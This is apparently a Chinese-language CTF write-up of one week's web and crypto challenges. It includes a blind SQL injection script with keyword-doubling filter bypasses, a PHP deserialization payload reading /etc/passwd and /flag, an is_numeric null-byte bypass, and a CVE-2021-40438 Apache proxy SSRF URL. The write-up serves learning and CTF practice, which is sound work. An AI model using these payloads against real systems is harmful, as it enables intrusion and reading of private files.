这周主要做web了,后来做了一个misc,结果做完了也上新题目了,比较尬住了
Contents
Week2
WEB
webpack-engine
根据题目名称提示,webpack,在网上找了一下常见会出现的漏洞
发现大多数漏洞提醒都为接口泄露,本意是想从加密的js中解密获取接口信息,后来看漏洞详情发现直接能在sources里面查看源码
发现加密的flag,base直接解密即可获取flag
Pokemon
点进页面根据提示?id=1
猜测应该是考察sql注入,后来测试了一下id参数没有反应,发现报错页面存在问题
存在code参数,修改code值发现报错信息
注入点应该为code处,尝试进行异或发现构造成功
测试关键字符发现题目对字符进行了替换为空操作,可以通过双写进行绕过,同时题目对> < =等特殊字符进行了实体化编码
我们使用strcmp替换比较符号,同时构造盲注payload
404^(strcmp((selselectect/*/**/*/ascii(substr(database(),1,1))),1))
根据页面返回数据进行判断
当页面返回数据为404时,payload判断成功,以此为依据进行脚本编写
import requests
import sys
url="http://121.43.141.153:60056/error.php?code="
#database:pokemon
#table:errors,fllllllllaaaaaag
#columns
database=''
for j in range(1,50):
for i in range(1,150):
payload1="404^(strcmp((selselectect/*/**/*/ascii(substr(database(),{},1))),{}))".format((j),(i))
payload2="404^(strcmp((selselectect/*/**/*/ascii(substr((seselectlect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whwhereere(table_schema)in(database())),{},1))),{}))".format((j),(i))
payload3="404^(strcmp((selselectect/*/**/*/ascii(substr((seselectlect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whwhereere(table_schema)in(database())),{},1))),{}))".format((j),(i))
payload4="404^(strcmp((seselectlect/*/**/*/ascii(substr((seselectlect(group_concat(flag))frfromom(fllllllllaaaaaag)),{},1))),{}))".format((j),(i))
response = requests.get(url+payload4).text
if "Pokemon" in response:
misc=(chr(int(i)))
database+=misc
print(database)
j += 1
break
查库:
查flag:
一本单词书
根据提示发现存在源码泄露,下载解压进行查看
首先查看最有可能存在命令执行的文件ping.php
可以直接排除
再次查看admin_check.php
文件主要是对登陆状态进行check,跟着节奏回到login.php,截取部分核心代码
这段代码主要是对登陆进行校验,根据代码可以总结出:
username=adm1n
password=1080
但是题目对我们输入的password进行了校验,不允许数据的值为纯数字,所以我们要对is_numeric()进行绕过
百度了一下发现该函数可以通过十六进制绕过或者%00进行绕过,这里使用%00进行绕过
username=adm1n&password=1080%00a
302跳转证明登陆成功,此时返回页面发现chrome浏览器会出现安全提醒导致我们无法继续进行下一步
此时可以访问该页面
chrome://net-internals/#hsts
在这里剔除掉题目网站的域名,再次访问即可成功访问页面
登陆成功后访问到该页面
根据源码进行分析,分析index.php
页面的数据处理在get.php和save.php
save.php
<?php
session_start();
include 'admin_check.php';
function encode($data): string {
$result = '';
foreach ($data as $k => $v) {
$result .= $k . '|' . serialize($v);
}
return $result;
}
function saveSessionData() {
$filename = "/tmp/".$_SESSION['unique_key'].'.session';
$data = json_decode(file_get_contents("php://input"));
$str = encode($data);
file_put_contents($filename, $str, FILE_APPEND);
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
saveSessionData();
} else {
echo 'method not allowed';
}
主要分析两个function,encode函数比较直观,是对我们的数据进行序列化存储,saveSessionData主要是获取数据同时调用encode函数将数据存储到指定位置,该文件是由登陆时产生的key进行命名的,调试一下经过encode传输的数据
可以看到数据将我们value进行序列化存储了,接着分析一下get.php
get.php
<?php
session_start();
include 'admin_check.php';
include 'evil.php';
// flag is in /flag
function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}
function loadSessionData(): Array {
$filename = '/tmp/'.$_SESSION['unique_key'].'.session';
if (file_exists($filename)) {
$str = file_get_contents($filename);
return decode($str);
} else {
file_put_contents($filename, '');
return [];
}
}
echo json_encode(loadSessionData());
首先文件告诉了我们flag位置,其次分析两个function,decode函数主要是对传入的数据进行反序列化输出,与刚才save.php中的encode函数互相对应,可以看到encode函数是通过“|”分割key和value的,而decode函数则是通过“|”来进行数据判断,对“|”后来的数据进行反序列化操作。这里就存在一个问题,我们可以通过传输数据中添加“|”以此来利用docode函数的反序列化进行执行,同时查看evil.php发现了获取flag的点
存在file_get_contents,至此我们可以利用evil.php生成payload,再通过get.php进行触发,构造payload,尝试读取文件
<?php
class Evil {
public $file="/etc/passwd";
public $flag="flag{}";
}
$data=new Evil();
echo serialize($data);
//O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";s:6:"flag{}";}
在传输数据时要注意,如果payload写在value处,会在save.php中被序列化掉,所以要将payload写入key处
{"1|O:4:\"Evil\":2:{s:4:\"file\";s:11:\"/etc/passwd\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
访问get.php
成功获取到数据,此时修改读取文件为/flag即可获取到数据
{"1|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
Apache!
根据题目提示,flag在内网同时正常服务已经down掉,此时能够访问内网的就需要借助中间件漏洞或者框架漏洞,这里题目很明显给了提示,我们需要借助apache的漏洞进行执行,所以思路就很明显了
apache漏洞+需要攻击内网,能访问内网就最先想到SSRF,所以题目应该是考察CVE-2021-40438
根据题目提示
访问无法成功,这时查看源码发现www.zip,下载进行查看
文件为系统的配置信息,读取一下docker-compose.yml为靶机的docker启动文件
查看httpd.conf
该模块功能为转发请求至Tomcat
查看一下default.conf
发现获取flag的页面,同时查看到proxy_pass
查看httpd-vhosts.conf,发现信息
再次构造payload,我们需要通过proxy进行访问
/proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/flag
成功获取到flag
Crypto
RSA Attack
基础RSA
分解获取p、q
构造脚本获取flag
from Crypto.Util.number import *
e = 65537
n = 700612512827159827368074182577656505408114629807
c = 122622425510870177715177368049049966519567512708
p = 715800347513314032483037
q = 978782023871716954857211
d = inverse(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))